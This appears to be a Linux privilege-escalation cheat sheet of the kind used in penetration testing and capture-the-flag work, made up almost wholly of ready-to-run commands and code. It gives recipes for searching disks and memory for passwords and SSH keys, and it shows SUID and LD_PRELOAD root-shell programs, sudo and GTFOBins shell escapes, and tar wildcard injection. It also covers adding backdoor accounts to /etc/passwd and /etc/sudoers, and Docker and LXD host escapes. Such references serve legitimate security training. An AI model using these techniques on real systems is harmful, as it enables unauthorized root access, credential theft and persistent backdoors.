## Tools
There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escalation vectors.
Here are a few:
- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
```powershell
wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh
./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete.
./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users
```
- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration)
```powershell
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
./lse.sh -l1 # shows interesting information that should help you to privesc
./lse.sh -l2 # dump all the information it gathers about the system
```

## Looting for passwords
### Files containing passwords
```powershell
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
```
### Old passwords in /etc/security/opasswd
The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.
:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes
### Last edited files
Files that were edited in the last 10 minutes
```powershell
find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
```
### In memory passwords
```powershell
strings /dev/mem -n10 | grep -i PASS
```
### Find sensitive files
```powershell
$ locate password | more
/boot/grub/i386-pc/password.mod
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/etc/pam.d/gdm-password.original
/lib/live/config/0031-root-password
...
```
## SSH Key
### Sensitive files
```
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
...
```
### SSH Key Predictable PRNG (Authorized_Keys) Process
This module describes how to attempt to use an obtained authorized_keys file on a host system.
Needed : SSH-DSS String from authorized_keys file
**Steps**
1. Get the authorized_keys file. An example of this file would look like so:
```
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
```
2. Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`:
```
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config
/etc/init.d/ssh restart
```
3. Get [g0tmi1k's debian-ssh repository](https://github.com/g0tmi1k/debian-ssh) and unpack the keys:
```
git clone https://github.com/g0tmi1k/debian-ssh
cd debian-ssh
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
```
4. Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as:
```
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
```
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
```
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
```
And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why.
## Scheduled tasks
### Cron jobs
Check if you have access with write permission on these files.
Check inside the file, to find other paths with write permissions.
```powershell
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
```
You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job.
```powershell
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000
```
## Systemd timers
```powershell
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service

3 timers listed.
```
## SUID
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is run, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`.
```powershell
╭─swissky@lab ~
╰─$ ls /usr/bin/sudo -alh
-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo
```
### Find SUID binaries
```bash
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
```
### Create a SUID binary
| Function | Description |
|------------|---|
| setreuid() | sets real and effective user IDs of the calling process |
| setuid() | sets the effective user ID of the calling process |
| setgid() | sets the effective group ID of the calling process |
```bash
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bit
```
## Capabilities
### List capabilities of binaries
```powershell
╭─swissky@lab ~
╰─$ /usr/bin/getcap -r /usr/bin
/usr/bin/fping = cap_net_raw+ep
/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin = cap_net_bind_service+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/rsh = cap_net_bind_service+ep
/usr/bin/rcp = cap_net_bind_service+ep
```
### Edit capabilities
```powershell
/usr/bin/setcap -r /bin/ping # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add
```
### Interesting capabilities
Having the capability =ep means the binary has all the capabilities.
```powershell
$ getcap openssl /usr/bin/openssl
openssl=ep
```
Alternatively the following capabilities can be used in order to upgrade your current privileges.
```powershell
cap_dac_read_search # read anything
cap_setuid+ep # setuid
```
Example of privilege escalation with `cap_setuid+ep`
```powershell
$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)
```
| Capabilities name | Description |
|---|---|
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
| CAP_DAC_READ_SEARCH | This only bypasses file and directory read/execute permission checks |
| CAP_FOWNER | This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
| CAP_KILL | Allow the sending of signals to processes belonging to others |
| CAP_SETGID | Allow changing of the GID |
| CAP_SETUID | Allow changing of the UID |
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
| CAP_IPC_LOCK | This helps to lock memory |
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
| CAP_NET_RAW | Use RAW and PACKET sockets |
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
## SUDO
Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
### NOPASSWD
Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
```bash
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
```bash
sudo vim -c '!sh'
sudo -u root vim -c '!sh'
```
### LD_PRELOAD and NOPASSWD
If `LD_PRELOAD` is explicitly defined in the sudoers file
```powershell
Defaults env_keep += LD_PRELOAD
```
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
### Doas
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
```bash
permit nopass demo as root cmd vim
```
### sudo_inject
Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject)
```powershell
$ sudo whatever
[sudo] password for user:
# Press <ctrl>+c since you don't have the password.
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
```
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
### CVE-2019-14287
```powershell
# Exploitable when a user have the following permissions (sudo -l)
(ALL, !root) ALL
# If you have a full TTY, you can exploit it like this
sudo -u#-1 /bin/bash
sudo -u#4294967295 id
```
## GTFOBins
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
> gdb -nx -ex '!sh' -ex quit
> sudo mysql -e '\! /bin/sh'
> strace -o /dev/null /bin/sh
> sudo awk 'BEGIN {system("/bin/sh")}'
## Wildcard
By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.
```powershell
# create file for exploitation
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
# vulnerable script
tar cf archive.tar *
```
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
## Writable files
List world writable files on the system.
```powershell
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
```
### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)
/etc/sysconfig/network-scripts/ifcfg-1337 for example
```powershell
NAME=Network /bin/id &lt;= Note the blank space
ONBOOT=yes
DEVICE=eth0
EXEC :
./etc/sysconfig/network-scripts/ifcfg-1337
```
src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
### Writable /etc/passwd
First generate a password with one of the following commands.
```powershell
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Then add the user `hacker` and add the generated password.
```powershell
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
You can now use the `su` command with `hacker:hacker`
Alternatively you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.
```powershell
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
### Writable /etc/sudoers
```powershell
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
# use SUDO without password
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
```
## NFS Root Squashing
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it.
```powershell
# remote check the name of the folder
showmount -e 10.10.10.10
# create dir
mkdir /tmp/nfsdir
# mount directory
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
# copy wanted shell
cp /bin/bash .
# set suid permission
chmod +s bash
```
## Shared Library
### ldconfig
Identify shared libraries with `ldd`
```powershell
$ ldd /opt/binary
linux-vdso.so.1 (0x00007ffe961cd000)
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
```
Create a library in `/tmp` and activate the path.
```powershell
gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
/opt/binary
```
### RPATH
```powershell
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
```powershell
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```powershell
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
## Groups
### Docker
Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`.
```bash
$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
```
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
```powershell
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
```
Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
```powershell
$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

```
More docker privilege escalation using the Docker Socket.
```powershell
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
### LXC/LXD
The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
```powershell
╭─swissky@lab ~
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)
```
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
```powershell
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686
# import the image
lxc image import ./alpine.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```

## Hijack TMUX session
Require a read access to the tmux socket : `/tmp/tmux-1000/default`.
```powershell
export TMUX=/tmp/tmux-1000/default,1234,0
tmux ls
```
## Kernel Exploits
Precompiled exploits can be found inside these repositories, run them at your own risk !
* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)
* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/)
The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos`.
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a`
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
